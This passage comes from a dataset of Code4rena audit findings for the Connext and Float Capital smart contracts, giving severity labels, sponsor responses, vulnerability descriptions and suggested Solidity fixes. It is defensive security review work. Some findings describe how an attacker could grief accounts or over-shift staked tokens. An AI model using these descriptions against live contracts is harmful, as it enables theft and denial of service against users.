as expired everywhere. "}, {"title": "activeTransactionBlocks are vulnerable to DDoS attacks", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/27", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There is a potential issue in function removeUserActiveBlocks and the for loop inside it. I assume you are aware of block gas limits (they may be less relevant on other chains but still needs to be accounted for), so as there is no limit for activeTransactionBlocks it may grow so large that the for loop may never finish. You should consider introducing an upper limit for activeTransactionBlocks. Also, a malicious actor may block any account (DDOS) by just calling prepare again and again with 0 amount acting as a router. This will push activeTransactionBlocks to the specified user until it is no longer possible to remove them from the array. This is also a gas issue as function removeUserActiveBlocks iterating and assigning large dynamic arrays is very gas-consuming. Consider optimizing the algorithm, e.g. finding the first occurrence, then swap it with the last item, pop the array, and break. Or maybe even using an EnumerableMap so you can find and remove elements in O(1) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableMap.sol It depends on what is the usual number of activeTransactionBlocks. If it is expected to be low (e.g. less than 5), then the current approach will work, but with larger arrays, I expect EnumerableMap would be more efficient. ## Recommended Mitigation Steps An upper limit will not fully mitigate this issue as a malicious actor can still DDOS the user by pushing useless txs until this limit is reached and a valid router may not be able to submit new txs. As you need to improve both the security and performance of removeUserActiveBlocks I think that EnumerableMap may be a go-to solution. "}, {"title": "Code Consistency for hashVariantTransactionData()", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle greiart # Vulnerability details ### Proof of Concept `hashVariantTransactionData()` should follow the same style of `hashInvariantTransactionData()` and the recover signature functions, where the payload is generated is stored in memory before hashing. Preliminary tests in remix show that it is minimally more gas efficient as well. ```jsx function hashVariantTransactionData(TransactionData calldata txData) internal pure returns (bytes32) { VariantTransactionData memory variant = VariantTransactionData({ amount: txData.amount, expiry: txData.expiry, preparedBlockNumber: txData.preparedBlockNumber }); return keccak256(abi.encode(variant)); } ``` ### Alternative View on Notion [https://www.notion.so/Code-Consistency-for-hashVariantTransactionData-33bf6578a16c4b18896f4d7ca7582e21](https://www.notion.so/Code-Consistency-for-hashVariantTransactionData-33bf6578a16c4b18896f4d7ca7582e21) "}, {"title": "Gas: Only pass transactionId as parameter instead of TransactionData", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle cmichel # Vulnerability details Both the `recoverFulfillSignature` and `recoverCancelSignature` functions take a large `TransactionData` object as their first argument but only use the `transactionId` field of the struct. It should be more efficient to only pass `txData.transactionId` as the parameter. "}, {"title": "Router needs to decrease expiry by a significant buffer", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Router needs to decrease expiry by a significant buffer"}, {"title": "Unsafe approve", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/13", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details Some ERC20 tokens like USDT require resetting the approval to 0 first before being able to reset it to another value. (See [Line 201](https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code)) The `LIibERC20.approve` function does not do this - unlike OpenZeppelin's `safeApprove` implementation. ## Impact Repeated USDT cross-chain transfers to the same user on receiving chain = ETH mainnet can fail due to this line not resetting the approval to zero first: ``` require(LibERC20.approve(txData.receivingAssetId, txData.callTo, toSend), \"fulfill: APPROVAL_FAILED\"); ``` ## Recommended Mitigation Steps `LiibERC20.approve` should do two `approve` calls, one setting it to `0` first, then the real one. Check OpenZeppelin's `safeApprove`. "}, {"title": "Malicious router can block cross-chain-transfers", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-connext-findings", "body": "Malicious router can block cross-chain-transfers"}, {"title": "wrapCall with weird ERC20 contracts", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/4", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function wrapCall is not completely safe for all possible ERC20 contracts. If the returnData.length is larger than 1 the \"abi.decode(returnData, (bool));\" will fail. Which means the interactions with that ERC20 contract will fail. Although this is unlikely, it is easy to protect against it. ## Proof of Concept // https://github.com/code-423n4/2021-07-connext/blob/main/contracts/lib/LibERC20.sol#L21 function wrapCall(address assetId, bytes memory callData) internal returns (bool) { ... (bool success, bytes memory returnData) = assetId.call(callData); LibUtils.revertIfCallFailed(success, returnData); return returnData.length == 0 || abi.decode(returnData, (bool)); } ## Tools Used ## Recommended Mitigation Steps Change return returnData.length == 0 || abi.decode(returnData, (bool)); to: return (returnData.length == 0) || (returnData.length == 1 && abi.decode(returnData, (bool))); "}, {"title": "don't use assembly ", "html_url": "https://github.com/code-423n4/2021-07-connext-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-connext-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function revertIfCallFailed of LibUtils.sol uses \"assembly\" to log error information in a revert situation. In the latest solidity version this can be done in solidity using the \"error\" keyword. See: https://docs.soliditylang.org/en/latest/control-structures.html?#revert Using pure solidity improves readability. ## Proof of Concept https://github.com/code-423n4/2021-07-connext/blob/main/contracts/lib/LibUtils.sol#L10 function revertIfCallFailed(bool success, bytes memory returnData) internal pure { if (!success) { assembly { revert(add(returnData, 0x20), mload(returnData)) } } } ## Tools Used ## Recommended Mitigation Steps use the error constructs of solidity 0.8.4+ "}, {"title": "Incorrect balance computed in `getUsersConfirmedButNotSettledSynthBalance()`", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/142", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "# Handle hack3r-0m # Vulnerability details Consider the following state: long_synth_balace = 300; short_synth_balace = 200; marketUpdateIndex[1] = x; userNextPrice_currentUpdateIndex = 0; userNextPrice_syntheticToken_toShiftAwayFrom_marketSide[1][true] = 0; batched_amountSyntheticToken_toShiftAwayFrom_marketSide[1][true] = 0; User calls shiftPositionFromLongNextPrice(marketIndex=1, amountSyntheticTokensToShift=100) This results in following state changes: long_synth_balace = 200; short_synth_balace = 200; userNextPrice_syntheticToken_toShiftAwayFrom_marketSide[1][true] = 100; batched_amountSyntheticToken_toShiftAwayFrom_marketSide[1][true] = 100; userNextPrice_currentUpdateIndex = x+1 ; Due to some other transactions, oracle updates twice, and now the marketUpdateIndex[1] is x+2 and also updating price snapshots. When User calls getUsersConfirmedButNotSettledSynthBalance(user, 1) initial condition ``` if ( userNextPrice_currentUpdateIndex[marketIndex][user] != 0 && userNextPrice_currentUpdateIndex[marketIndex][user] <= currentMarketUpdateIndex ) ``` will be true; syntheticToken_priceSnapshot[marketIndex][isLong][currentMarketUpdateIndex] (https://github.com/hack3r-0m/2021-08-floatcapital/blob/main/contracts/contracts/LongShort.sol#L532) this uses price of current x+2 th update while it should balance of accounting for price of x+1 th update. "}, {"title": "Users could shift tokens on `Staker` with more than he has staked", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/141", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle shw # Vulnerability details ## Impact The `shiftTokens` function of `Staker` checks whether the user has staked at least the number of tokens he wants to shift from one side to the other (line 885). A user could call the `shiftTokens` function multiple times before the next price update to shift the staker's token from one side to the other with more than he has staked. ## Proof of Concept Referenced code: [Staker.sol#L885](https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/Staker.sol#L885) ## Recommended Mitigation Steps Add checks on `userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_long` and `userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_short` to ensure that the sum of the two variables does not exceed user's stake balance. "}, {"title": "Received amount of transfer-on-fee/deflationary tokens are not correctly accounted", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/140", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity", "out-of-scope"], "target": "2021-08-floatcapital-findings", "body": "Received amount of transfer-on-fee/deflationary tokens are not correctly accounted"}, {"title": "emit event at stage changes", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/138", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "emit event at stage changes"}, {"title": "consistently use `msg.sender` or `_msgSender()`(recommended)", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "consistently use `msg.sender` or `_msgSender()`(recommended)"}, {"title": "Stable prices don't lead to new time periods", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/134", "labels": ["bug", "duplicate", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Stable prices don't lead to new time periods"}, {"title": "Possibly not all synths can be withdrawn", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/129", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Possibly not all synths can be withdrawn"}, {"title": "Markets cannot be initialized with payment tokens of few decimals", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/126", "labels": ["bug", "duplicate", "invalid", "0 (Non-critical)", "sponsor disputed", "disagree with severity", "out-of-scope"], "target": "2021-08-floatcapital-findings", "body": "Markets cannot be initialized with payment tokens of few decimals"}, {"title": "Gas: `SyntheticToken` does not use pausing functionality", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle cmichel # Vulnerability details The `SyntheticToken` overwrites the `_beforeTokenTransfer` hook and removes the pausing functionality of `ERC20PresetMinterPauser`. But the `ERC20PresetMinterPauser` constructor still assigns pauser roles which leads to unnecessary gas costs. Inherit from an `ERC20PresetMinterPauser`-like contract without the pausing functionality. This would also make the intention of the code more clear by showcasing that it does not implement the pauser interface functions `pause`/`unpause` (which it currently still does but they don't have any effect). "}, {"title": "Validations", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/112", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function burnEtherForMember should validate that the address of the member is not empty (0x0) to prevent accidental burns. When adding an investor distribution (function addInvestor) should validate that the total amount is not above the investors_supply. but then you also need to store the total amount that is already assigned to investors. function modifyInvestor should validate that _investor != _new, otherwise it will delete the investor unless this is an expected feature. function claimExact should validate that _value > 0 to prevent useless claims. "}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/111", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Style issues"}, {"title": "treasury state variable in LongShort", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract LongShort has a 'treasury' state variable that is not used in any meaningful way. It is only initialized in function initialize and can be changed by function changeTreasury, no other interactions. YieldManagerAave has its own separate treasury variable that it allocates funds to so this dead code can be removed to save some gas at least. "}, {"title": "onlyValidMarket is never used", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/107", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Dead code: Staker contract has a modifier onlyValidMarket that is not used anywhere. I think you do not use it as you trust that admin and LongShort contract will not pass invalid values. Unused code can be removed to reduce gas costs. "}, {"title": "Cache storage access and duplicate calculations", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/106", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle pauliax # Vulnerability details ## Impact functions _mintNextPrice, _redeemNextPrice, _shiftPositionNextPrice could cache a result here and re-use it to avoid duplicate calculations of the same value: marketUpdateIndex[marketIndex] + 1; Also, you can extract duplicate storage access to a storage variable and update the state on it, e.g.: accumulativeFloatPerSyntheticTokenSnapshots[marketIndex][newIndex] is accessed 3 times in _setCurrentAccumulativeIssuancePerStakeStakedSynthSnapshot. "}, {"title": "0xf10A7_F10A7_f10A7_F10a7_F10A7_f10a7_F10A7_f10a7", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/101", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "0xf10A7_F10A7_f10A7_F10a7_F10A7_f10a7_F10A7_f10a7"}, {"title": "Aave's claimRewards returns the actual rewards claimed", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "Aave's claimRewards returns the actual rewards claimed"}, {"title": "The address of Aave lendingPool may change", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract YieldManagerAave caches lendingPool, however, in theory, it is possible that the implementation may change (see https://github.com/aave/aave-protocol/blob/4b4545fb583fd4f400507b10f3c3114f45b8a037/contracts/configuration/LendingPoolAddressesProvider.sol#L58-L65). I am not sure how likely in practice is that but a common solution that I see in other protocols that integrate with Aave is querying the lendingPool on the go (of course then you also need to handle the change in approvals). ## Recommended Mitigation Steps An example solution you can see here: https://github.com/code-423n4/2021-07-sherlock/blob/d9c610d2c3e98a412164160a787566818debeae4/contracts/strategies/AaveV2.sol#L63-L65 "}, {"title": "[Optimization] Cache length in the loop", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Cache length in the for loop ``` solidity modified contracts/contracts/LongShort.sol @@ -1059,7 +1059,8 @@ contract LongShort is ILongShort, Initializable { /// @param user The address of the user for whom to execute the function for. /// @param marketIndexes An array of int32s which each uniquely identify a market. function executeOutstandingNextPriceSettlementsUserMulti(address user, uint32[] memory marketIndexes) external { - for (uint256 i = 0; i < marketIndexes.length; i++) { + uint length = marketIndexes.length; + for (uint256 i = 0; i < length; i++) { _executeOutstandingNextPriceSettlements(user, marketIndexes[i]); } } ``` In the previous case, at each iteration of the loop, length is read from memory. something like `mload(memory_offset)`. It takes `6` gas (3 for `mload` and 3 to place `memory_offset`) in the stack. In the replacement, the value is placed in the stack only once and each iteration involves a `dupN` (3 gas). Saves around 3 gas per iteration. Here are other places that can use this. ``` text ./contracts/contracts/LongShort.sol:776: for (uint256 i = 0; i < marketIndexes.length; i++) { ./contracts/contracts/LongShort.sol:1063: for (uint256 i = 0; i < length; i++) { ./contracts/contracts/Staker.sol:790: for (uint256 i = 0; i < marketIndexes.length; i++) { ./contracts/contracts/mocks/BandOracleMock.sol:84: for (uint256 i = 0; i < _bases.length; i++) { ./contracts/contracts/testing/LongShortInternalStateSetters.sol:34: for (uint256 i = 0; i < marketIndexes.length; i++) { ``` "}, {"title": "Use of floating pragma", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/96", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Use of floating pragma"}, {"title": "Assuming tokens are compliant with ERC20 could cause transactions to revert unexpectedly", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/93", "labels": ["bug", "duplicate", "invalid", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Assuming tokens are compliant with ERC20 could cause transactions to revert unexpectedly"}, {"title": "Comment-code mismatch for _balanceIncentiveCurve_exponent threshold", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/89", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "Comment-code mismatch for _balanceIncentiveCurve_exponent threshold"}, {"title": "Function visibility can be changed from public to external", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Changing a function\u2019s visibility from public to external can save gas by avoiding the unnecessary copying of data to memory. Function stakeFromUser() in Staker.sol is only called from SyntheticTokens.sol and not from within the contract itself which means this can be made external. ## Proof of Concept https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/Staker.sol#L839 https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/SyntheticToken.sol#L56 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Change function visibility to external where possible. "}, {"title": "Interface notations are used for abstract contracts", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Interface notations are used for abstract contracts"}, {"title": "Missing events/timelocks for owner/admin only functions that change critical parameters", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/85", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "Missing events/timelocks for owner/admin only functions that change critical parameters"}, {"title": "Race-condition risk with initialize functions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Race-condition risk with initialize functions"}, {"title": "Missing use of requireMarketExists modifier on multiple functions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/81", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Missing use of requireMarketExists modifier on multiple functions"}, {"title": "executeOutstandingNextPriceSettlementsUserMulti may exceed gas limits", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/80", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "executeOutstandingNextPriceSettlementsUserMulti may exceed gas limits"}, {"title": "Unused named returns can be removed for optimization", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Unused named returns can be removed for optimization"}, {"title": "Caching state variables in local variables can save gas", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/76", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact There are multiple places where state variables are reused within functions by loading them multiple times. These operations result in expensive SLOAD instructions where the first SLOAD costs 2100 gas and successive SLOADs of the same variable cost 100 gas (since the Berlin hardfork). Using local memory variables to cache them will remove the unnecessary SLOADs costing 100 gas resulting in MLOADs that only cost 3 gas units. ## Proof of Concept Caching latestMarket can save upto 13 SLOADs i.e. 1300 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L261-L298 Caching staked can save upto 1 SLOAD i.e. 100 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L267 https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L276 Caching latestMarket can save upto 3 SLOADs i.e. 3 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L352-L365 Caching marketUpdateIndex[marketIndex] appropriately can save many SLOADs: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L817-L819 https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L677-L757 https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L860-L864 https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/LongShort.sol#L911-L922 Caching longShort address can save 300 300 gas by avoiding 3 SLOADs: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/TokenFactory.sol#L68-L70 Caching amountReservedInCaseOfInsufficientAaveLiquidity can save upto 2 SLOADs i.e. 200 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/YieldManagerAave.sol#L114-L121 Caching paymentToken can save upto 1 SLOAD i.e. 100 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/YieldManagerAave.sol#L132-L142 Caching aaveIncentiveController can save upto 1 SLOAD i.e. 100 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/YieldManagerAave.sol#L162-L167 Caching totalReservedForTreasury can save upto 1 SLOAD i.e. 100 gas: https://github.com/code-423n4/2021-08-floatcapital/blob/bd419abf68e775103df6e40d8f0e8d40156c2f81/contracts/contracts/YieldManagerAave.sol#L162-L167 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache storage-based state variables in local memory-based variables appropriately to convert SLOADs to MLOADs and reduce gas consumption from 100 units to 3 units. "}, {"title": "YieldManagerAave.sol: Wrong branch in depositPaymentToken() if amountReservedInCaseOfInsufficientAaveLiquidity == amount", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In the unlikely event `amountReservedInCaseOfInsufficientAaveLiquidity == amount`, the `else` case will be executed, which means `lendingPool.deposit()` is called with a value of zero. It would therefore be better to change the condition so that the `if` case is executed instead. ### Recommended Mitigation Steps ```jsx function depositPaymentToken(uint256 amount) external override longShortOnly { // If amountReservedInCaseOfInsufficientAaveLiquidity isn't zero, then efficiently net the difference between the amount // It basically always be zero besides extreme and unlikely situations with aave. if (amountReservedInCaseOfInsufficientAaveLiquidity != 0) { // instead of strictly greater than if (amountReservedInCaseOfInsufficientAaveLiquidity >= amount) { amountReservedInCaseOfInsufficientAaveLiquidity -= amount; // Return early, nothing to deposit into the lending pool return; } ... } ``` "}, {"title": "TokenFactory.sol: DEFAULT_ADMIN_ROLE has wrong value ", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/72", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "TokenFactory.sol: DEFAULT_ADMIN_ROLE has wrong value "}, {"title": "TokenFactory.sol: Appropriate type declaration to avoid numerous casting", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "TokenFactory.sol: Appropriate type declaration to avoid numerous casting"}, {"title": "Staker.sol: withdrawAll() does not include incoming outstanding shifts to the user", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Staker.sol: withdrawAll() does not include incoming outstanding shifts to the user"}, {"title": "Staker.sol: Updating kValue requires interpolation with initial timestamp", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact Updating a `kValue` of a market requires interpolation against the initial timestamp, which can be a hassle and might lead to a wrong value set from what is expected. ### Proof of Concept Consider the following scenario: - Initially set `kValue = 2e18`, `kPeriod = 2592000` (30 days) - After 15 days, would like to refresh the market incentive (start again with `kValue = 2e18`), lasting another 30 days. In the current implementation, the admin would call `_changeMarketLaunchIncentiveParameters()` with the following inputs: - `period = 3888000` (45 days) - `kValue` needs to be worked backwards from the formula `kInitialMultiplier - (((kInitialMultiplier - 1e18) * (block.timestamp - initialTimestamp)) / kPeriod)`. To achieve the desired effect, we would get `kValue = 25e17` (formula returns 2e18 after 15 days with kPeriod = 45 days). This isn't immediately intuitive and could lead to mistakes. ### Recommended Mitigation Steps Instead of calculating from `initialTimestamp` (when `addNewStakingFund()` was called), calculate from when the market incentives were last updated. This would require a new mapping to store last updated timestamps of market incentives. For example, using the scenario above, refreshing the market incentive would mean using inputs `period = 2592000` (30 days) with `kValue = 2e18`. ```jsx // marketIndex => timestamp of updated market launch incentive params mapping(uint32 => uint256) public marketLaunchIncentive_update_timestamps; function _changeMarketLaunchIncentiveParameters( uint32 marketIndex, uint256 period, uint256 initialMultiplier ) internal virtual { require(initialMultiplier >= 1e18, \"marketLaunchIncentiveMultiplier must be >= 1e18\"); marketLaunchIncentive_period[marketIndex] = period; marketLaunchIncentive_multipliers[marketIndex] = initialMultiplier; marketLaunchIncentive_update_timestamps[marketIndex] = block.timestamp; }; function _getKValue(uint32 marketIndex) internal view virtual returns (uint256) { // Parameters controlling the float issuance multiplier. (uint256 kPeriod, uint256 kInitialMultiplier) = _getMarketLaunchIncentiveParameters(marketIndex); // Sanity check - under normal circumstances, the multipliers should // *never* be set to a value < 1e18, as there are guards against this. assert(kInitialMultiplier >= 1e18); // currently: uint256 initialTimestamp = accumulativeFloatPerSyntheticTokenSnapshots[marketIndex][0].timestamp; // changed to take from last updated timestamp instead of initial timestamp uint256 initialTimestamp = marketLaunchIncentive_update_timestamps[marketIndex]; if (block.timestamp - initialTimestamp <= kPeriod) { return kInitialMultiplier - (((kInitialMultiplier - 1e18) * (block.timestamp - initialTimestamp)) / kPeriod); } else { return 1e18; } } ``` "}, {"title": "Staker.sol: TODO add link in comment", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In `_calculateFloatPerSecond()`, there is an outstanding TODO in L437 `@dev to see below math in latex form see TODO add link` The missing URL seems to be the one provided in the README on float [token rate issuance](https://www.overleaf.com/read/jpyhjgrvhfkr). ### Recommended Mitigation Steps Update / finish up the TODO. "}, {"title": "Staker.sol: Shift event emissions to internal functions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Staker.sol: Shift event emissions to internal functions"}, {"title": "Staker.sol: Redundant zero intialization for accumulativeFloatPerSyntheticTokenSnapshots", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Staker.sol: Redundant zero intialization for accumulativeFloatPerSyntheticTokenSnapshots"}, {"title": "Staker.sol: Erroneous Comments", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/65", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Staker.sol: Erroneous Comments"}, {"title": "Staker.sol: Cache shift amounts", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The user's `userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_long` and `userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_short` are retrieved a number of times in `_calculateAccumulatedFloat()`. Caching these values would help save gas. Note that block scoping is needed to avoid the stack too deep problem. ### Recommended Mitigation Steps ```jsx function _calculateAccumulatedFloat() { // block scope for shiftAmount variable to avoid stack too deep { // Update the users balances uint256 shiftAmount = 